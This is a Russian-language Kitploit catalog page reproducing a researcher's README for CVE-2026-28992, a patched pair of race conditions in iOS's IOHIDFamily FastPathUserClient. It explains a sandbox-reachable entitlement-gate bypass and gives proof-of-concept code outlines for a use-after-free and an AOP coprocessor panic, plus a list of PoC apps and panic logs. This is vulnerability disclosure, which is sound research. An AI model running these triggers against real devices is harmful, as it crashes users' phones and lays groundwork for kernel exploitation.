Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Инструменты/GitHubGitHub/0xjohnnydev/cve-2026-28992-iohidfamily-fastpathuserclient-race-conditions
Повышение привилегийБезопасность iOSАнализ уязвимостейЭксплуатацияТестирование на ПроникновениеМобильная безопасностьRed TeamingЭксплуатация Бинарных Файлов
GitHub0xjohnnydev/cve-2026-28992-iohidfamily-fastpathuserclient-race-conditions

CVE-2026-28992-IOHIDFamily-FastPathUserClient-Race-Conditions

UAF и паника сопроцессора AOP в IOHIDEventServiceFastPathUserClient. Не требует прав (entitlements), доступен из песочницы приложений.

Репозиторий
133514 дней назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-28992: состояния гонки в IOHIDFamily FastPathUserClient

CVE-2026-28992 | Автор: Johnny Franks (@zeroxjf)

Компонент: IOHIDFamily

Воздействие: злоумышленник может вызвать неожиданное завершение приложения

Описание: уязвимость повреждения памяти была устранена с помощью улучшенной блокировки.

— информация о безопасности Apple, iOS 26.5 и iPadOS 26.5

Обе PoC вызывают панику ядра и перезагрузку затронутых устройств. Сначала сохраните свою работу.

Два состояния гонки в IOHIDEventServiceFastPathUserClient (kext IOHIDFamily). Права (entitlements) не требуются. Достижимо из обычной песочницы приложения.

Оба вектора используют IOServiceOpen(service, task, 2, &conn). Шлюз открытия sel0 проверяет FastPathHasEntitlement и FastPathMotionEventEntitlement в предоставленном вызывающим кодом OSDictionary вместо флагов прав, сохранённых во время initWithTask; приложение в песочнице проходит шлюз, включая эти ключи во входную структуру.

UAF — гонка copyEvent

root@kitploit:~
// open 15 connections to the same IOHIDEventService provider
io_connect_t conns[15];
for (int i = 0; i < 15; i++) {
    IOServiceOpen(service, mach_task_self(), 2, &conns[i]);
    IOConnectCallMethod(conns[i], /*sel*/ 0, &scalar, 1, xml, xmlLen, ...); // gate
}

// thread A: conn[0] rapid close → reopen (lifecycle churn + provider ref drop)
while (!stop) {
    IOConnectCallMethod(conns[0], /*sel*/ 1, &scalar, 1, NULL, 0, ...); // close
    IOConnectCallMethod(conns[0], /*sel*/ 0, &scalar, 1, xml, xmlLen, ...); // reopen
}

// threads B..N: conn[1..N] tight copyEvent loop (per-connection locking only)
while (!stop) {
    uint64_t args[2] = { 0, 1 };
    IOConnectCallMethod(conns[k], /*sel*/ 2, args, 2, NULL, 0, ...); // copyEvent
}

Путь закрытия (sel1) сбрасывает состояние провайдера и очищает +0x109 без блокировки. copyEvent (sel2) проверяет другой флаг (+0x108) под блокировкой на уровне соединения, а затем вызывает провайдера. Несколько соединений к одному провайдеру означают, что close и copyEvent работают в разных доменах блокировок над общими объектами на стороне провайдера.

AOP panic — гонка завершения

root@kitploit:~
// pre-open 3 opener connections
io_connect_t openers[3];
for (int i = 0; i < 3; i++) {
    IOServiceOpen(service, mach_task_self(), 2, &openers[i]);
    IOConnectCallMethod(openers[i], /*sel*/ 0, &scalar, 1, xml, xmlLen, ...);
}

// opener threads: continuous close → reopen
while (!stop) {
    IOConnectCallMethod(openers[k], /*sel*/ 1, &scalar, 1, NULL, 0, ...);
    IOConnectCallMethod(openers[k], /*sel*/ 0, &scalar, 1, xml, xmlLen, ...);
}

// main thread: batch pre-gate → rapid teardown loop
while (!stop) {
    // create + gate 16 probe connections
    io_connect_t probes[16];
    for (int i = 0; i < 16; i++) {
        IOServiceOpen(service, mach_task_self(), 2, &probes[i]);
        IOConnectCallMethod(probes[i], /*sel*/ 0, &scalar, 1, xml, xmlLen, ...);
    }

    // destroy all probes — each fires async didTerminate → teardown
    // teardown removes/frees provider-facing state while opener threads iterate
    // provider-facing state via the open path
    for (int i = 0; i < 16; i++)
        mach_port_destroy(mach_task_self(), probes[i]);

    usleep(80000); // 80ms race window
}

mach_port_destroy запускает асинхронный didTerminate → закрытие/teardown, не синхронизированный с параллельными путями открытия sel0 на других соединениях. Это также насыщает почтовый ящик провайдеров на базе SPU, вызывая тайм-аут сторожевого таймера AOP.

Содержимое

ПутьОписание
UAFPoc/iOS-приложение — запускает UAF (сбой тега MTE на A17+, data abort на устройствах до A17)
AOPPanicPoc/iOS-приложение — вызывает панику сопроцессора AOP через насыщение почтового ящика SPU
panic-logs/mte-tag-fault.ipsСбой проверки тега ядра — iPhone 17 Pro Max (A19 Pro, MTE+PAC)
panic-logs/ipad-data-abort.ipsData abort ядра — iPad Pro 12.9" 2-го поколения (A10X, без MTE/PAC)
panic-logs/aop-panic.ipsПаника сопроцессора AOP — iPhone 17 Pro Max (переполнение почтового ящика SPU)
Скачать инструмент